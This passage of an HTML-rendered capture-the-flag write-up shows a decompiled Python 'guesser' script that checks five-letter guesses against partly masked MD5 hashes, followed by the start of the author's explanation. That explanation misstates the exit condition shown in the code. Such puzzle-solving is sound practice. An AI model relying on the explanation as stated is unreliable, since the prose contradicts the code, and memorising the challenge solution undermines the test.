&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;c.d.1.53..66.4.43bd.......59...8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.d.d.076........eae.3.6.85.a2...&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #8BA4B0);&quot;&gt; main&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;    guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;hashes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;        guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Guess: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^[a-z]+$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;            exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; hashes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;[0-9a-f]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; hashlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;md5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;            exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;23&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;            guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Flag: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;28&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;29&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;    main&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;31&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; okay decompiling guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At first glance, this seems to be a fairly simple python script, but let’s break it down line by line.
First we have the declaration of a list of &lt;code&gt;hashes&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;hashes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;d.0.....f5...5.6.7.1.30.6c.d9..0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;1b.8.1.c........09.30.....64aa9.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;c.d.1.53..66.4.43bd.......59...8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.d.d.076........eae.3.6.85.a2...&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;These will be important in a moment, but for now let’s follow the logic to see what the &lt;em&gt;guesser&lt;&#x2F;em&gt; is checking for.&lt;&#x2F;p&gt;
&lt;p&gt;We can see in the main function, we’re iterating over the list of hashes, and for each hash, we take a string as user input and check if it’s length is equal to 5 &lt;strong&gt;AND&lt;&#x2F;strong&gt; if it matches the regex string &lt;code&gt;^[a-z]+$&lt;&#x2F;code&gt; which would be interpreted as a string of exclusively lowercase alphabetic letters with a length greater than or equal to one. If this condition is met, the program exits and outputs ‘Invalid’ just as we saw in initial test.&lt;&#x2F;p&gt;
